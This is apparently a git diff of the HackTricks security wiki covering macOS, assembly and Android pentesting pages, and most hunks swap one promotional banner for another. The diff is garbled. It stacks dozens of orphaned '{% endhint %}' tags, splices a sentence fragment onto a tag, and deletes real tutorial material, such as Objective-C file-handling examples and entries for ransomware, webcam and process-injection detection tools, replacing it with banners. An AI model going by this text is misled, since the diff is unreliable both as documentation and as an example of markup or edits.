+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## **Introduction to x64**
@@ -453,16 +454,17 @@ dup2:
syscall
```
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md b/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md
index fbd940b3923..ac0a1c392e5 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md
@@ -1,18 +1,33 @@
# macOS Objective-C
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Objective-C
@@ -368,30 +383,45 @@ if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
```objectivec
-NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
-NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
-[fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil];
-```
-
-Most basic classes has a method `writeToFile: atomically: encoding: error:nil` defined that allows them to be directly be written to a file:
-
-{% code overflow="wrap" %}
-```objectivec
-NSString* tmp = @"something temporary";
-[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
-```
-{% endcode %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Other ways to support HackTricks:
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
index ac2fbd018ac..864e982402f 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md
@@ -1,18 +1,32 @@
# macOS Defensive Apps
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
+{% endhint %}
## Firewalls
@@ -27,29 +41,43 @@ Other ways to support HackTricks:
## Keyloggers detection
* [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"
-
-## Ransomware detection
-
-* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html): Objective-See application to detect **file encryption** actions.
-
-## Mic & Webcam detection
-
-* [**OverSight**](https://objective-see.org/products/oversight.html): Objective-See application to detect **application that starts using webcam and mic.**
-
-## Process Injection detection
-
-* [**Shield**](https://theevilbit.github.io/shield/): Applicaiton that **detects different process injection** techniques.
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
-
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
+
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
index 44410444100..c995d983b76 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md
@@ -1,18 +1,19 @@
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## DYLD\_INSERT\_LIBRARIES Basic example
@@ -182,16 +183,17 @@ If you are planing on trying to inject libraries in unexpected binaries you coul
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index 8c2e8339892..b01fab71932 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -1,18 +1,19 @@
# macOS Privilege Escalation
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## TCC Privilege Escalation
@@ -256,16 +257,17 @@ This can be useful to escalate privileges:
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
{% endcontent-ref %}
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md b/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
index 7f85553168b..73d5ba0974a 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-protocols.md
@@ -1,18 +1,19 @@
# macOS Network Services & Protocols
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Remote Access Services
@@ -136,16 +137,17 @@ sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.p
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
-
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+
-Other ways to support HackTricks:
+Support HackTricks
-* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md
index 2362ddc9629..beeb9b729cd 100644
--- a/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md
+++ b/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md
@@ -1,17 +1,20 @@
# Bypass Biometric Authentication (Android)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## **Method 1 – Bypassing with No Crypto Object Usage**
@@ -84,14 +87,17 @@ There are specialized tools and scripts designed to test and bypass authenticati
## References
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md
index 8c89c8517fe..dbe474a5166 100644
--- a/mobile-pentesting/android-checklist.md
+++ b/mobile-pentesting/android-checklist.md
@@ -1,16 +1,19 @@
# Android APK Checklist
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
